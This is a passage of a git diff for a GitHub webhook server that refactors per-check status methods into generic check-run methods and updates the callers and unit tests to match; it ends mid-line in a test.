f0bbfde7..98359590 100644 --- a/webhook_server/libs/github_api.py +++ b/webhook_server/libs/github_api.py @@ -836,12 +836,15 @@ def _validate_custom_check_runs(self, raw_checks: list[dict[str, Any]]) -> list[ continue # Extract the first word as the executable (handle multiline/complex commands) - executable = command.strip().split()[0] + command_stripped = command.strip() + executable = command_stripped.split()[0] # Check if executable exists on server if not shutil.which(executable): self.logger.warning( - f"Custom check '{check_name}' command executable '{executable}' not found on server, skipping" + f"Custom check '{check_name}' command executable '{executable}' not found on server. " + f"Please open an issue to request adding this executable to the container, " + f"or submit a PR to add it. Skipping check." ) continue diff --git a/webhook_server/libs/handlers/check_run_handler.py b/webhook_server/libs/handlers/check_run_handler.py index f540cd09..f27e3389 100644 --- a/webhook_server/libs/handlers/check_run_handler.py +++ b/webhook_server/libs/handlers/check_run_handler.py @@ -16,7 +16,6 @@ CONVENTIONAL_TITLE_STR, FAILURE_STR, IN_PROGRESS_STR, - PRE_COMMIT_STR, PYTHON_MODULE_INSTALL_STR, QUEUED_STR, SUCCESS_STR, @@ -108,38 +107,6 @@ async def set_verify_check_queued(self) -> None: async def set_verify_check_success(self) -> None: return await self.set_check_run_status(check_run=VERIFIED_LABEL_STR, conclusion=SUCCESS_STR) - async def set_run_tox_check_queued(self) -> None: - if not self.github_webhook.tox: - self.logger.debug(f"{self.log_prefix} tox is not configured, skipping.") - return - - return await self.set_check_run_status(check_run=TOX_STR, status=QUEUED_STR) - - async def set_run_tox_check_in_progress(self) -> None: - return await self.set_check_run_status(check_run=TOX_STR, status=IN_PROGRESS_STR) - - async def set_run_tox_check_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=TOX_STR, conclusion=FAILURE_STR, output=output) - - async def set_run_tox_check_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=TOX_STR, conclusion=SUCCESS_STR, output=output) - - async def set_run_pre_commit_check_queued(self) -> None: - if not self.github_webhook.pre_commit: - self.logger.debug(f"{self.log_prefix} pre-commit is not configured, skipping.") - return - - return await self.set_check_run_status(check_run=PRE_COMMIT_STR, status=QUEUED_STR) - - async def set_run_pre_commit_check_in_progress(self) -> None: - return await self.set_check_run_status(check_run=PRE_COMMIT_STR, status=IN_PROGRESS_STR) - - async def set_run_pre_commit_check_failure(self, output: dict[str, Any] | None = None) -> None: - return await self.set_check_run_status(check_run=PRE_COMMIT_STR, conclusion=FAILURE_STR, output=output) - - async def set_run_pre_commit_check_success(self, output: dict[str, Any] | None = None) -> None: - return await self.set_check_run_status(check_run=PRE_COMMIT_STR, conclusion=SUCCESS_STR, output=output) - async def set_merge_check_queued(self, output: dict[str, Any] | None = None) -> None: return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, status=QUEUED_STR, output=output) @@ -152,54 +119,6 @@ async def set_merge_check_success(self) -> None: async def set_merge_check_failure(self, output: dict[str, Any]) -> None: return await self.set_check_run_status(check_run=CAN_BE_MERGED_STR, conclusion=FAILURE_STR, output=output) - async def set_container_build_queued(self) -> None: - if not self.github_webhook.build_and_push_container: - self.logger.debug(f"{self.log_prefix} build_and_push_container is not configured, skipping.") - return - - return await self.set_check_run_status(check_run=BUILD_CONTAINER_STR, status=QUEUED_STR) - - async def set_container_build_in_progress(self) -> None: - return await self.set_check_run_status(check_run=BUILD_CONTAINER_STR, status=IN_PROGRESS_STR) - - async def set_container_build_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=BUILD_CONTAINER_STR, conclusion=SUCCESS_STR, output=output) - - async def set_container_build_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=BUILD_CONTAINER_STR, conclusion=FAILURE_STR, output=output) - - async def set_python_module_install_queued(self) -> None: - if not self.github_webhook.pypi: - self.logger.debug(f"{self.log_prefix} pypi is not configured, skipping.") - return - - return await self.set_check_run_status(check_run=PYTHON_MODULE_INSTALL_STR, status=QUEUED_STR) - - async def set_python_module_install_in_progress(self) -> None: - return await self.set_check_run_status(check_run=PYTHON_MODULE_INSTALL_STR, status=IN_PROGRESS_STR) - - async def set_python_module_install_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status( - check_run=PYTHON_MODULE_INSTALL_STR, conclusion=SUCCESS_STR, output=output - ) - - async def set_python_module_install_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status( - check_run=PYTHON_MODULE_INSTALL_STR, conclusion=FAILURE_STR, output=output - ) - - async def set_conventional_title_queued(self) -> None: - return await self.set_check_run_status(check_run=CONVENTIONAL_TITLE_STR, status=QUEUED_STR) - - async def set_conventional_title_in_progress(self) -> None: - return await self.set_check_run_status(check_run=CONVENTIONAL_TITLE_STR, status=IN_PROGRESS_STR) - - async def set_conventional_title_success(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=CONVENTIONAL_TITLE_STR, conclusion=SUCCESS_STR, output=output) - - async def set_conventional_title_failure(self, output: dict[str, Any]) -> None: - return await self.set_check_run_status(check_run=CONVENTIONAL_TITLE_STR, conclusion=FAILURE_STR, output=output) - async def set_cherry_pick_in_progress(self) -> None: return await self.set_check_run_status(check_run=CHERRY_PICKED_LABEL_PREFIX, status=IN_PROGRESS_STR) @@ -213,20 +132,46 @@ async def set_cherry_pick_failure(self, output: dict[str, Any]) -> None: check_run=CHERRY_PICKED_LABEL_PREFIX, conclusion=FAILURE_STR, output=output ) - async def set_custom_check_queued(self, name: str) -> None: - """Set custom check run to queued status.""" + async def set_check_queued(self, name: str) -> None: + """Set check run to queued status. + + Generic method for setting any check run (built-in or custom) to queued status. + + Args: + name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + """ await self.set_check_run_status(check_run=name, status=QUEUED_STR) - async def set_custom_check_in_progress(self, name: str) -> None: - """Set custom check run to in_progress status.""" + async def set_check_in_progress(self, name: str) -> None: + """Set check run to in_progress status. + + Generic method for setting any check run (built-in or custom) to in_progress status. + + Args: + name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + """ await self.set_check_run_status(check_run=name, status=IN_PROGRESS_STR) - async def set_custom_check_success(self, name: str, output: dict[str, str] | None = None) -> None: - """Set custom check run to success.""" + async def set_check_success(self, name: str, output: dict[str, Any] | None = None) -> None: + """Set check run to success. + + Generic method for setting any check run (built-in or custom) to success status. + + Args: + name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + output: Optional output dictionary with title, summary, and text fields + """ await self.set_check_run_status(check_run=name, conclusion=SUCCESS_STR, output=output) - async def set_custom_check_failure(self, name: str, output: dict[str, str] | None = None) -> None: - """Set custom check run to failure.""" + async def set_check_failure(self, name: str, output: dict[str, Any] | None = None) -> None: + """Set check run to failure. + + Generic method for setting any check run (built-in or custom) to failure status. + + Args: + name: The name of the check run (e.g., TOX_STR, PRE_COMMIT_STR, or custom check name) + output: Optional output dictionary with title, summary, and text fields + """ await self.set_check_run_status(check_run=name, conclusion=FAILURE_STR, output=output) async def set_check_run_status( @@ -234,7 +179,7 @@ async def set_check_run_status( check_run: str, status: str = "", conclusion: str = "", - output: dict[str, str] | None = None, + output: dict[str, Any] | None = None, ) -> None: kwargs: dict[str, Any] = {"name": check_run, "head_sha": self.github_webhook.last_commit.sha} diff --git a/webhook_server/libs/handlers/pull_request_handler.py b/webhook_server/libs/handlers/pull_request_handler.py index 2030a918..f4d915bd 100644 --- a/webhook_server/libs/handlers/pull_request_handler.py +++ b/webhook_server/libs/handlers/pull_request_handler.py @@ -624,23 +624,32 @@ async def process_opened_or_synchronize_pull_request(self, pull_request: PullReq ) setup_tasks.append(self.label_pull_request_by_merge_state(pull_request=pull_request)) setup_tasks.append(self.check_run_handler.set_merge_check_queued()) - setup_tasks.append(self.check_run_handler.set_run_tox_check_queued()) - setup_tasks.append(self.check_run_handler.set_run_pre_commit_check_queued()) - setup_tasks.append(self.check_run_handler.set_python_module_install_queued()) - setup_tasks.append(self.check_run_handler.set_container_build_queued()) setup_tasks.append(self._process_verified_for_update_or_new_pull_request(pull_request=pull_request)) setup_tasks.append(self.labels_handler.add_size_label(pull_request=pull_request)) setup_tasks.append(self.add_pull_request_owner_as_assingee(pull_request=pull_request)) + # Queue built-in check runs if configured + if self.github_webhook.tox: + setup_tasks.append(self.check_run_handler.set_check_queued(name=TOX_STR)) + + if self.github_webhook.pre_commit: + setup_tasks.append(self.check_run_handler.set_check_queued(name=PRE_COMMIT_STR)) + + if self.github_webhook.pypi: + setup_tasks.append(self.check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR)) + + if self.github_webhook.build_and_push_container: + setup_tasks.append(self.check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR)) + if self.github_webhook.conventional_title: - setup_tasks.append(self.check_run_handler.set_conventional_title_queued()) + setup_tasks.append(self.check_run_handler.set_check_queued(name=CONVENTIONAL_TITLE_STR)) # Queue custom check runs (same as built-in checks) # Note: custom checks are validated in GithubWebhook._validate_custom_check_runs() # so name is guaranteed to exist for custom_check in self.github_webhook.custom_check_runs: check_name = custom_check["name"] - setup_tasks.append(self.check_run_handler.set_custom_check_queued(name=check_name)) + setup_tasks.append(self.check_run_handler.set_check_queued(name=check_name)) self.logger.info(f"{self.log_prefix} Executing setup tasks") setup_results = await asyncio.gather(*setup_tasks, return_exceptions=True) diff --git a/webhook_server/libs/handlers/runner_handler.py b/webhook_server/libs/handlers/runner_handler.py index 1af68ec3..3d168519 100644 --- a/webhook_server/libs/handlers/runner_handler.py +++ b/webhook_server/libs/handlers/runner_handler.py @@ -184,7 +184,7 @@ async def run_tox(self, pull_request: PullRequest) -> None: ) _tox_tests = self.github_webhook.tox.get(pull_request.base.ref, "") - await self.check_run_handler.set_run_tox_check_in_progress() + await self.check_run_handler.set_check_in_progress(name=TOX_STR) async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): # Build tox command with worktree path @@ -202,7 +202,7 @@ async def run_tox(self, pull_request: PullRequest) -> None: if not success: self.logger.error(f"{self.log_prefix} Repository preparation failed for tox") output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_run_tox_check_failure(output=output) + return await self.check_run_handler.set_check_failure(name=TOX_STR, output=output) rc, out, err = await run_command( command=cmd, @@ -213,9 +213,9 @@ async def run_tox(self, pull_request: PullRequest) -> None: output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) if rc: - return await self.check_run_handler.set_run_tox_check_success(output=output) + return await self.check_run_handler.set_check_success(name=TOX_STR, output=output) else: - return await self.check_run_handler.set_run_tox_check_failure(output=output) + return await self.check_run_handler.set_check_failure(name=TOX_STR, output=output) async def run_pre_commit(self, pull_request: PullRequest) -> None: if not self.github_webhook.pre_commit: @@ -225,7 +225,7 @@ async def run_pre_commit(self, pull_request: PullRequest) -> None: if await self.check_run_handler.is_check_run_in_progress(check_run=PRE_COMMIT_STR): self.logger.debug(f"{self.log_prefix} Check run is in progress, re-running {PRE_COMMIT_STR}.") - await self.check_run_handler.set_run_pre_commit_check_in_progress() + await self.check_run_handler.set_check_in_progress(name=PRE_COMMIT_STR) async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): cmd = f" uvx --directory {worktree_path} {PREK_STR} run --all-files" @@ -238,7 +238,7 @@ async def run_pre_commit(self, pull_request: PullRequest) -> None: if not success: self.logger.error(f"{self.log_prefix} Repository preparation failed for pre-commit") output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_run_pre_commit_check_failure(output=output) + return await self.check_run_handler.set_check_failure(name=PRE_COMMIT_STR, output=output) rc, out, err = await run_command( command=cmd, @@ -249,9 +249,9 @@ async def run_pre_commit(self, pull_request: PullRequest) -> None: output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) if rc: - return await self.check_run_handler.set_run_pre_commit_check_success(output=output) + return await self.check_run_handler.set_check_success(name=PRE_COMMIT_STR, output=output) else: - return await self.check_run_handler.set_run_pre_commit_check_failure(output=output) + return await self.check_run_handler.set_check_failure(name=PRE_COMMIT_STR, output=output) async def run_build_container( self, @@ -281,7 +281,7 @@ async def run_build_container( self.logger.info(f"{self.log_prefix} Check run is in progress, re-running {BUILD_CONTAINER_STR}.") if set_check: - await self.check_run_handler.set_container_build_in_progress() + await self.check_run_handler.set_check_in_progress(name=BUILD_CONTAINER_STR) _container_repository_and_tag = self.github_webhook.container_repository_and_tag( pull_request=pull_request, is_merged=is_merged, tag=tag @@ -321,7 +321,7 @@ async def run_build_container( if not success: output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) if pull_request and set_check: - await self.check_run_handler.set_container_build_failure(output=output) + await self.check_run_handler.set_check_failure(name=BUILD_CONTAINER_STR, output=output) return build_rc, build_out, build_err = await self.run_podman_command( @@ -332,11 +332,11 @@ async def run_build_container( if build_rc: self.logger.info(f"{self.log_prefix} Done building {_container_repository_and_tag}") if pull_request and set_check: - return await self.check_run_handler.set_container_build_success(output=output) + return await self.check_run_handler.set_check_success(name=BUILD_CONTAINER_STR, output=output) else: self.logger.error(f"{self.log_prefix} Failed to build {_container_repository_and_tag}") if pull_request and set_check: - return await self.check_run_handler.set_container_build_failure(output=output) + return await self.check_run_handler.set_check_failure(name=BUILD_CONTAINER_STR, output=output) if push and build_rc: cmd = ( @@ -397,7 +397,7 @@ async def run_install_python_module(self, pull_request: PullRequest) -> None: self.logger.info(f"{self.log_prefix} Check run is in progress, re-running {PYTHON_MODULE_INSTALL_STR}.") self.logger.info(f"{self.log_prefix} Installing python module") - await self.check_run_handler.set_python_module_install_in_progress() + await self.check_run_handler.set_check_in_progress(name=PYTHON_MODULE_INSTALL_STR) async with self._checkout_worktree(pull_request=pull_request) as (success, worktree_path, out, err): output: dict[str, Any] = { "title": "Python module installation", @@ -406,7 +406,7 @@ async def run_install_python_module(self, pull_request: PullRequest) -> None: } if not success: output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_python_module_install_failure(output=output) + return await self.check_run_handler.set_check_failure(name=PYTHON_MODULE_INSTALL_STR, output=output) rc, out, err = await run_command( command=f"uvx pip wheel --no-cache-dir -w {worktree_path}/dist {worktree_path}", @@ -417,9 +417,9 @@ async def run_install_python_module(self, pull_request: PullRequest) -> None: output["text"] = self.check_run_handler.get_check_run_text(err=err, out=out) if rc: - return await self.check_run_handler.set_python_module_install_success(output=output) + return await self.check_run_handler.set_check_success(name=PYTHON_MODULE_INSTALL_STR, output=output) - return await self.check_run_handler.set_python_module_install_failure(output=output) + return await self.check_run_handler.set_check_failure(name=PYTHON_MODULE_INSTALL_STR, output=output) async def run_conventional_title_check(self, pull_request: PullRequest) -> None: if not self.github_webhook.conventional_title: @@ -438,13 +438,13 @@ async def run_conventional_title_check(self, pull_request: PullRequest) -> None: if await self.check_run_handler.is_check_run_in_progress(check_run=CONVENTIONAL_TITLE_STR): self.logger.info(f"{self.log_prefix} Check run is in progress, re-running {CONVENTIONAL_TITLE_STR}.") - await self.check_run_handler.set_conventional_title_in_progress() + await self.check_run_handler.set_check_in_progress(name=CONVENTIONAL_TITLE_STR) allowed_names = [name.strip() for name in self.github_webhook.conventional_title.split(",") if name.strip()] title = pull_request.title self.logger.debug(f"{self.log_prefix} Conventional title check for title: {title}, allowed: {allowed_names}") if any([re.match(rf"^{re.escape(_name)}(\([^)]+\))?!?: .+", title) for _name in allowed_names]): - await self.check_run_handler.set_conventional_title_success(output=output) + await self.check_run_handler.set_check_success(name=CONVENTIONAL_TITLE_STR, output=output) else: output["title"] = "❌ Conventional Title" output["summary"] = "Conventional Commit Format Violation" @@ -481,7 +481,7 @@ async def run_conventional_title_check(self, pull_request: PullRequest) -> None: **Resources:** - [Conventional Commits v1.0.0 Specification](https://www.conventionalcommits.org/en/v1.0.0/) """ - await self.check_run_handler.set_conventional_title_failure(output=output) + await self.check_run_handler.set_check_failure(name=CONVENTIONAL_TITLE_STR, output=output) async def run_custom_check( self, @@ -499,7 +499,7 @@ async def run_custom_check( self.logger.info(f"{self.log_prefix} Starting custom check: {check_config['name']}") - await self.check_run_handler.set_custom_check_in_progress(name=check_name) + await self.check_run_handler.set_check_in_progress(name=check_name) async with self._checkout_worktree(pull_request=pull_request) as ( success, @@ -515,7 +515,7 @@ async def run_custom_check( if not success: output["text"] = self.check_run_handler.get_check_run_text(out=out, err=err) - return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) + return await self.check_run_handler.set_check_failure(name=check_name, output=output) # Build env dict from env entries (VAR_NAME=value format only) # IMPORTANT: We must start with os.environ.copy() because passing env to @@ -555,10 +555,10 @@ async def run_custom_check( if success: self.logger.info(f"{self.log_prefix} Custom check {check_config['name']} completed successfully") - return await self.check_run_handler.set_custom_check_success(name=check_name, output=output) + return await self.check_run_handler.set_check_success(name=check_name, output=output) else: self.logger.info(f"{self.log_prefix} Custom check {check_config['name']} failed") - return await self.check_run_handler.set_custom_check_failure(name=check_name, output=output) + return await self.check_run_handler.set_check_failure(name=check_name, output=output) async def is_branch_exists(self, branch: str) -> Branch: return await asyncio.to_thread(self.repository.get_branch, branch) diff --git a/webhook_server/tests/test_check_run_handler.py b/webhook_server/tests/test_check_run_handler.py index 2e71136e..2b48b0a2 100644 --- a/webhook_server/tests/test_check_run_handler.py +++ b/webhook_server/tests/test_check_run_handler.py @@ -129,95 +129,77 @@ async def test_set_verify_check_success(self, check_run_handler: CheckRunHandler mock_set_status.assert_called_once_with(check_run=VERIFIED_LABEL_STR, conclusion=SUCCESS_STR) @pytest.mark.asyncio - async def test_set_run_tox_check_queued_enabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting tox check to queued when tox is enabled.""" - with patch.object(check_run_handler.github_webhook, "tox", True): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_queued() - mock_set_status.assert_called_once_with(check_run=TOX_STR, status=QUEUED_STR) - - @pytest.mark.asyncio - async def test_set_run_tox_check_queued_disabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting tox check to queued when tox is disabled.""" - with patch.object(check_run_handler.github_webhook, "tox", False): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_queued() - mock_set_status.assert_not_called() + async def test_set_check_queued_tox(self, check_run_handler: CheckRunHandler) -> None: + """Test setting tox check to queued status.""" + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_queued(name=TOX_STR) + mock_set_status.assert_called_once_with(check_run=TOX_STR, status=QUEUED_STR) @pytest.mark.asyncio - async def test_set_run_tox_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_tox(self, check_run_handler: CheckRunHandler) -> None: """Test setting tox check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_in_progress() + await check_run_handler.set_check_in_progress(name=TOX_STR) mock_set_status.assert_called_once_with(check_run=TOX_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_run_tox_check_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_tox(self, check_run_handler: CheckRunHandler) -> None: """Test setting tox check to failure status.""" output = {"title": "Test failed", "summary": "Test summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_failure(output) + await check_run_handler.set_check_failure(name=TOX_STR, output=output) mock_set_status.assert_called_once_with(check_run=TOX_STR, conclusion=FAILURE_STR, output=output) @pytest.mark.asyncio - async def test_set_run_tox_check_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_tox(self, check_run_handler: CheckRunHandler) -> None: """Test setting tox check to success status.""" output = {"title": "Test passed", "summary": "Test summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_tox_check_success(output) + await check_run_handler.set_check_success(name=TOX_STR, output=output) mock_set_status.assert_called_once_with(check_run=TOX_STR, conclusion=SUCCESS_STR, output=output) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_queued_enabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting pre-commit check to queued when pre-commit is enabled.""" - check_run_handler.github_webhook.pre_commit = True + async def test_set_check_queued_pre_commit(self, check_run_handler: CheckRunHandler) -> None: + """Test setting pre-commit check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_queued() + await check_run_handler.set_check_queued(name=PRE_COMMIT_STR) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, status=QUEUED_STR) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_queued_disabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting pre-commit check to queued when pre-commit is disabled.""" - check_run_handler.github_webhook.pre_commit = False - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_queued() - mock_set_status.assert_not_called() - - @pytest.mark.asyncio - async def test_set_run_pre_commit_check_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_pre_commit(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_in_progress() + await check_run_handler.set_check_in_progress(name=PRE_COMMIT_STR) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_pre_commit(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to failure status.""" output = {"title": "Pre-commit failed", "summary": "Pre-commit summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_failure(output) + await check_run_handler.set_check_failure(name=PRE_COMMIT_STR, output=output) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=FAILURE_STR, output=output) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_failure_no_output(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_pre_commit_no_output(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to failure status without output.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_failure() + await check_run_handler.set_check_failure(name=PRE_COMMIT_STR) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=FAILURE_STR, output=None) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_pre_commit(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to success status.""" output = {"title": "Pre-commit passed", "summary": "Pre-commit summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_success(output) + await check_run_handler.set_check_success(name=PRE_COMMIT_STR, output=output) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=SUCCESS_STR, output=output) @pytest.mark.asyncio - async def test_set_run_pre_commit_check_success_no_output(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_pre_commit_no_output(self, check_run_handler: CheckRunHandler) -> None: """Test setting pre-commit check to success status without output.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_run_pre_commit_check_success() + await check_run_handler.set_check_success(name=PRE_COMMIT_STR) mock_set_status.assert_called_once_with(check_run=PRE_COMMIT_STR, conclusion=SUCCESS_STR, output=None) @pytest.mark.asyncio @@ -258,121 +240,103 @@ async def test_set_merge_check_failure(self, check_run_handler: CheckRunHandler) mock_set_status.assert_called_once_with(check_run=CAN_BE_MERGED_STR, conclusion=FAILURE_STR, output=output) @pytest.mark.asyncio - async def test_set_container_build_queued_enabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting container build check to queued when container build is enabled.""" - with patch.object(check_run_handler.github_webhook, "build_and_push_container", True): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_queued() - mock_set_status.assert_called_once_with(check_run=BUILD_CONTAINER_STR, status=QUEUED_STR) - - @pytest.mark.asyncio - async def test_set_container_build_queued_disabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting container build check to queued when container build is disabled.""" - with patch.object(check_run_handler.github_webhook, "build_and_push_container", False): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_queued() - mock_set_status.assert_not_called() + async def test_set_check_queued_container_build(self, check_run_handler: CheckRunHandler) -> None: + """Test setting container build check to queued status.""" + with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: + await check_run_handler.set_check_queued(name=BUILD_CONTAINER_STR) + mock_set_status.assert_called_once_with(check_run=BUILD_CONTAINER_STR, status=QUEUED_STR) @pytest.mark.asyncio - async def test_set_container_build_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_container_build(self, check_run_handler: CheckRunHandler) -> None: """Test setting container build check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_in_progress() + await check_run_handler.set_check_in_progress(name=BUILD_CONTAINER_STR) mock_set_status.assert_called_once_with(check_run=BUILD_CONTAINER_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_container_build_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_container_build(self, check_run_handler: CheckRunHandler) -> None: """Test setting container build check to success status.""" output = {"title": "Container built", "summary": "Container summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_success(output) + await check_run_handler.set_check_success(name=BUILD_CONTAINER_STR, output=output) mock_set_status.assert_called_once_with( check_run=BUILD_CONTAINER_STR, conclusion=SUCCESS_STR, output=output ) @pytest.mark.asyncio - async def test_set_container_build_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_container_build(self, check_run_handler: CheckRunHandler) -> None: """Test setting container build check to failure status.""" output = {"title": "Container build failed", "summary": "Container summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_container_build_failure(output) + await check_run_handler.set_check_failure(name=BUILD_CONTAINER_STR, output=output) mock_set_status.assert_called_once_with( check_run=BUILD_CONTAINER_STR, conclusion=FAILURE_STR, output=output ) @pytest.mark.asyncio - async def test_set_python_module_install_queued_enabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting python module install check to queued when pypi is enabled.""" - check_run_handler.github_webhook.pypi = {"token": "test"} + async def test_set_check_queued_python_module_install(self, check_run_handler: CheckRunHandler) -> None: + """Test setting python module install check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_queued() + await check_run_handler.set_check_queued(name=PYTHON_MODULE_INSTALL_STR) mock_set_status.assert_called_once_with(check_run=PYTHON_MODULE_INSTALL_STR, status=QUEUED_STR) @pytest.mark.asyncio - async def test_set_python_module_install_queued_disabled(self, check_run_handler: CheckRunHandler) -> None: - """Test setting python module install check to queued when pypi is disabled.""" - with patch.object(check_run_handler.github_webhook, "pypi", None): - with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_queued() - mock_set_status.assert_not_called() - - @pytest.mark.asyncio - async def test_set_python_module_install_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_python_module_install(self, check_run_handler: CheckRunHandler) -> None: """Test setting python module install check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_in_progress() + await check_run_handler.set_check_in_progress(name=PYTHON_MODULE_INSTALL_STR) mock_set_status.assert_called_once_with(check_run=PYTHON_MODULE_INSTALL_STR, status=IN_PROGRESS_STR) @pytest.mark.asyncio - async def test_set_python_module_install_success(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_success_python_module_install(self, check_run_handler: CheckRunHandler) -> None: """Test setting python module install check to success status.""" output = {"title": "Module installed", "summary": "Module summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_success(output) + await check_run_handler.set_check_success(name=PYTHON_MODULE_INSTALL_STR, output=output) mock_set_status.assert_called_once_with( check_run=PYTHON_MODULE_INSTALL_STR, conclusion=SUCCESS_STR, output=output ) @pytest.mark.asyncio - async def test_set_python_module_install_failure(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_failure_python_module_install(self, check_run_handler: CheckRunHandler) -> None: """Test setting python module install check to failure status.""" output = {"title": "Module install failed", "summary": "Module summary"} with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_python_module_install_failure(output) + await check_run_handler.set_check_failure(name=PYTHON_MODULE_INSTALL_STR, output=output) mock_set_status.assert_called_once_with( check_run=PYTHON_MODULE_INSTALL_STR, conclusion=FAILURE_STR, output=output ) @pytest.mark.asyncio - async def test_set_conventional_title_queued(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_queued_conventional_title(self, check_run_handler: CheckRunHandler) -> None: """Test setting conventional title check to queued status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_conventional_title_queued() + await check_run_handler.set_check_queued(name=CONVENTIONAL_TITLE_STR) mock_set_status.assert_called_once_with(check_run=CONVENTIONAL_TITLE_STR, status=QUEUED_STR) @pytest.mark.asyncio - async def test_set_conventional_title_in_progress(self, check_run_handler: CheckRunHandler) -> None: + async def test_set_check_in_progress_conventional_title(self, check_run_handler: CheckRunHandler) -> None: """Test setting conventional title check to in progress status.""" with patch.object(check_run_handler, "set_check_run_status") as mock_set_status: - await check_run_handler.set_conventional_title_in_progress() + await 